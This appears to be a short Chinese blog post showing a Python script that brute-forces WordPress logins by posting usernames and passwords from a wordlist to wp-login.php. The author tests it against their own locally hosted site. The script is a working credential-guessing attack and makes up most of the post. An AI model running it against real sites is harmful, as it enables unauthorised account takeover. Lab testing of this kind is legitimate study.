记得上次搭建的wordpress网站,今天用python实现对wordpress登录的暴力破解。
看看代码的编写:
#coding=utf-8
import requests
def user_login(url,username,password):
headers={
'Content-Type':'application/x-www-form-urlencoded'
}
post={
'log':username,
'pwd':password,
}
r=requests.post(url=url, data=post, headers=headers,allow_redirects=False,verify=False)
#allow_redirects=False 禁止重定向,verify=False不验证SSL证书
return r.headers
url='http://192.168.72.131/wordpress/wp-login.php'
users=['admin','root']
with open('pass.txt', 'r') as p:
for passes in p.readlines():
password=passes.strip('\n') #去除空格
for username in users:
re=user_login(url,username,password)
if len(re.get('Set-Cookie'))>60:
print u'破解成功-----用户名%s,密码%s \n cookie:%s' % (username,password,re.get('Set-Cookie'))
else:
print username+'-----'+password
![](https://img.haomeiwen.com/i1734768/ed70b0a08c5479c6.png)
创建个字典pass.txt,然后利用上次自己搭建的wordpess站点进行测试。
![](https://img.haomeiwen.com/i1734768/f05199558e409396.png)
网友评论